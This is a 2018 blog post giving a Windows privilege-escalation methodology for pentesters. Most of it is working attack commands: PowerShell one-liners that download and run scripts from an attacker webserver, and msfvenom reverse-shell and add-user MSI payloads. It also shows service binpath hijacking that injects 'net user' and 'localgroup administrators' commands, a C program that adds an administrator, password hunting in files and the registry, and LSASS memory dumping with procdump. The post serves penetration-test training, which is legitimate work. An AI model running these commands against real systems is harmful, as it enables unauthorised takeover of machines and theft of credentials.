A Virgil's Guide to Pentest

Tuesday, 20 February 2018

Escalation Time

Windows Privilege escalation was one thing I struggled with, it was easy enough to get a shell but what next? I am just a normal user. Where do I start, what to look for, I guess these are questions that come to your mind when you want to escalate. Well this is the methodology which I follow for privilege escalation. Again this is only my flow and yours may be different, follow what works best for you.

Okay once I get my shell, I want to escalate as quickly as possible without wasting too much time so I run the scripts, find exactly what needs to be done and exploit it. I would suggest you to try out all the manual methods first before using automated scripts or you will not know which tool gives which data. Once you know that go for the automated scripts.

Remember each script has different formats and check for different things so know what exactly the scripts are doing before running them. I would suggest to use wget.vbs for transferring files from linux to windows as that always worked for me.

I) Automated scripts:

Script 1: https://github.com/pentestmonkey/windows-privesc-check
https://github.com/pentestmonkey/windows-privesc-check/blob/master/windows-privesc-check2.exe

Script 2: https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py

Script 3: https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat
https://github.com/enjoiz/Privesc/blob/master/privesc.bat

Script 4: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

Script 5: https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1

I never got an interactive powershell cmd so I use oneliners.

One-liners for script 4 & 5:
These one-liners download the script from your webserver and run it directly on the victim machine.

```
c:\>powershell.exe "IEX(New-Object
Net.WebClient).downloadString('http://192.168.1.2:8000/PowerUp.ps1') ;
Invoke-AllChecks"

c:\>powershell.exe -ExecutionPolicy Bypass -noLogo -Command "IEX(New-
Object Net.WebClient).downloadString('http://192.168.1.2:8000
/powerup.ps1') ; Invoke-AllChecks"

c:\>powershell.exe "IEX(New-Object
Net.WebClient).downloadString('http://192.168.1.2:8000/Sherlock.ps1') ;
Find-AllVulns"
```

If you have your ps1 file downloaded to the victim machine then run using this

```
c:\>powershell.exe -exec bypass -Command "& {Import-Module
.\Sherlock.ps1; Find-AllVulns}"

c:\>powershell.exe -exec bypass -Command "& {Import-Module
.\PowerUp.ps1; Invoke-AllChecks}"
```

I always prefer the one-liners, clean and simple, but you might lose your shell after executing it.

II) Manual enumerations:

Step1: Analyze script **1, 3 & 4**

I will be listing out the manual process down below but for now these are the best guides I personally found to be very useful to understand what's happening under the hood.

Enumeration 1: http://www.fuzzysecurity.com/tutorials/16.html
Enumeration 2: http://hackingandsecurity.blogspot.in/2017/09/oscp-windows-priviledge-escalation.html
Enumeration 3: https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

III) Kernel exploits:

Analyze script **2 and 5**.

Get the exploit-db number and replace it in step1 to get the code and compile it on your own, or once you have the exploit-db number you can directly get the precompiled exploit by using the number in step2.

Exploit Step1)
https://www.exploit-db.com/exploits/"Exploit-db-Number"/

Blog Archive

May 2018 (1)
February 2018 (3)

Report Abuse

- Home

Search This Blog

Search

Exploit Step2)
https://github.com/offensive-security/exploit-database-bin-sploits/find/master/" Exploit-db-Number"

Exploit step 3)
https://github.com/abatchy17/WindowsExploits/

So by this time either we have high privilege or we know what is the exact vulnerability to exploit to get our privilege.

And that's it, we have covered almost everything, short and simple, Security patches, Kernel exploit, misconfigurations, the only thing we need now is manual way to find and exploit it. Let's head on.
==

Manual enumeration steps:

This is the long form of the manual enumeration you saw above.

Do I know my victim?
Understanding what system will help you to better visualize if your exploits will work or not since some features are available for older versions of OS and not in the later and vice versa.

```
systeminfo
hostname
echo %username%
net users
netstat -ano
netsh firewall show config
schtasks /query /fo LIST /v
tasklist /SVC     ///command links running processes to started services
```

Easy wins:

Search all these files for passwords. Don't miss out on easy escalations. Once you get the password it's just a matter of PsExec to give yourself admin privileges.

c:\unattended.txt
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
Vnc.ini
ultravnc.ini
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml

You can also use pwdump and fgdump to dump out passwords.

Just an FYI before running these commands, I found these commands to give a lot of output on the screen.

```
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

Executing command as another user, I always prefer to use psexec.

```
C:\>PsExec: PsExec.exe -accepteula -u adminuser -p password  c:\windows
\system32\net.exe localgroup administrators MyDomain\currentusername
/add
C:\>runas: c:>runas /user:virgil cmd.exe
```
//this will popup a new cmd so better use this to create new user or put yourself in admin group.
Restart the victim system as the registry changes needs to be updated

```
C:\>shutdown /r /t 1
```

Commands to remember:

These are important command which you will be using quite often, since you have to find the vulnerable directory or path or file.

```
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe /accepteula
```

# Find all weak folder permissions per drive.

```
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
```

# Find all weak file permissions per drive.

```
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
```

Scheduled tasks:

```
schtasks /query /fo LIST /v
```

Read the output of scheduled tasks and check the following:

```
Run as User: system
```

If you get any as system then go through that in detail to find the "Task to Run", time and schedules.
Based on "Task to run", check the access permission of that folder and file.
Eg: `accesschk.exe -dqv "E:\getLogs"`

If it has readwrite(RW) for authenticated users then we can overwrite the file its trying to run as system with ourpayload.

Generate payload:
```
#msfvenom windows/shell_reverse_tcp lhost='127.0.0.1' lport='1337'  -f
exe > /root/Desktop/evil-log.exe copy evil-log.exe E:\getLogs\log.exe
```
Overwrite it. Open a listener and wait for it to run and grab a shell as system.
You will need to take time to examine ALL the binpaths for the windows services, scheduled tasks and startup tasks.

The below are checked by winprivesc/powerup so you should get it in the powershell output, but have to learn the manual methods too.
Reference: https://toshellandback.com/2015/11/24/ms-priv-esc/

Weak file and folder permissions or misconfigured service:

1. Trusted Service Path/ unquoted service path:

If there is a service with its exe path which has space in it then make a file.exe with the file name as the first name before the space and restart service.
Command to check the servicename and path.
```
C:\>wmic service get name,displayname,pathname,startmode |findstr /i
"Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
```
Make sure you have permission to edit/put files in the folders using icacls
```
C:\>icacls "C:\Program Files (x86)\<Folder name>"
C:\>cacls "C:\Programs Files\foldername"
C:\>accesschk.exe -dqv "C:\Program Files\foldername"
C:\>start and stop service
C:\>sc stop <service-name>
C:\>sc start <service-name>
```

To restart a system: `C:\>shutdown /r /t 0`

2. Vulnerable Service:

a. Service binaries:

Replacing the entire exe with malicious with proper permissions to files and folders.
http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/
```
cacls "C:\path\to\file.exe"
```
Look for Weakness
What we are interested in is binaries that have been installed by the user. In the output you want to look for BUILTIN\Users:(F). Or where your user/usergroup has (F) or (C) rights.
Example:

C:\path\to\file.exe
BUILTIN\Users:F
BUILTIN\Power Users:C
BUILTIN\Administrators:F
NT AUTHORITY\SYSTEM:F
That means your user has write access. So you can just rename the .exe file and then add your own malicious binary. And then restart the program and your binary will be executed instead. This can be a simple getsuid program or a reverse shell that you create with msfvenom.
Here is a POC code for getsuid.

```
#include <stdlib.h>
int main ()
{
int i;
    i = system("net localgroup administrators theusername /add");
return 0;
}
```

We then compile it with mingw like this:
```
i686-w64-mingw32-gcc winexp.c -lws2_32 -o exp.exe
```
Move the exploit binary in place of the original binary file.
Okay, so now that we have a malicious binary in place we need to restart the service so that it gets executed. We can do this by using wmic or net the following way:
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name].
The binary should now be executed in the SYSTEM or Administrator context.

b.Windows services:

Replacing 'binpath' property: Tool to use: accesschk.exe from sysinternals.
There is a detailed explanation for this above.
```
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -qwcu "Users" *
accesschk.exe -qwcu "Everyone" *
```

You must get a 'RW' with SERVICE_ALL_ACCESS
```
sc qc <service-name>
sc config <service-name> binpath= "net user virgil P@ssword123! /add"
sc config upnphost obj=".\LocalSystem" password=""
sc stop <service-name>
sc start <service-name>
sc config <service-name> binpath= "net localgroup Administrators virgil
/add"
sc stop <service-name>
sc start <service-name>
```
This should add a new user to administrators group. Try it when you have upnphost service.
This can also be used to get reverse shell as SYSTEM

3. Always install elevated:

If the two registry values are set to 1, we can install a malicious msi file.
```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
```

```
AlwaysInstallElevated
```

Generate shell code:
```
msfvenom -p windows/adduser USER=virgil PASS=P@ssword123! -f msi -o
exploit.msi
msfvenom -f msi-nouac -p windows/exec cmd="C:\Users\testuser\AppData
\Local\Temp\Payload.exe" > exploit.msi
```
Run the Msi like
```
msiexec /quiet /qn /i C:\Users\Virgil\Downloads\exploit.msi
```

Dll hijacking :

This is one method which I personally dont like doing but still I had to. Try out dll hijacking when you have any of these application installed
Hijackable applications: https://www.exploit-db.com/dll-hijacking-vulnerable-applications/
If an application loads a DLL and it does not give a fully qualified path, windows will search for the dll in a particular order and execute it if it finds it.
Fuzzysecurity is the best guide which I follow for this topic.

Admin to system:

Psexec: admin to system
```
c:>psexec -i -s -d cmd.exe
```
This will popup a new cmd prompt, so better have rdp to system

AT:

This is replaced by schtasks.exe in newer systems. This creates a scheduled task to be run.
```
>at 13:20 /interactive cmd
>net use \\targetserver /user:DOM\user pass
>net time \\targetserver
>at \\targetserver 13:20 c:\temp\evil.bat
```

Passwords through process dumping:

```
C:\>net use \\targetserver /user:DOM\user pass
C:\>copy procdump.exe \\targetserver\c$
C:\>copy procdump.bat \\targetserver\c$
C:\>procdump.exe -ma lsass %CNAME%.dmp
C:\>at \\targetserver 13:30 C:\procdump.bat
C:\>copy \\targetserver\c$\targetserver.dmp .
```

This was helpful image that's sums up the kernel exploits, not sure from which blog I got it, but credits to the person who made this. You can actually combine this with the kernel method I mentioned above to directly get the compiled exploits.

Kernel Exploit complete table

This was the flow I follow overall for any windows based privilege escalation. I suggest you to make you own checklist and flow.

Miscellaneous:
One automated tool which I would recommend you to try out is PSAttack.

Credits @snadar73

at February 20, 2018

3 comments:

anita 21 February 2018 at 09:05

Good one.

Reply

Anonymous 18 October 2018 at 07:53

very very useful! and explain very very clearly! thanks for this! your the man!

Reply

Replies

Benedict charles 18 October 2018 at 08:27

Glad it's helpful

Reply

Enter your comment...

Comment as: blakcipher0@gmi Sign out

Publish Preview Notify me

Newer Post Home Older Post

Subscribe to: Post Comments (Atom)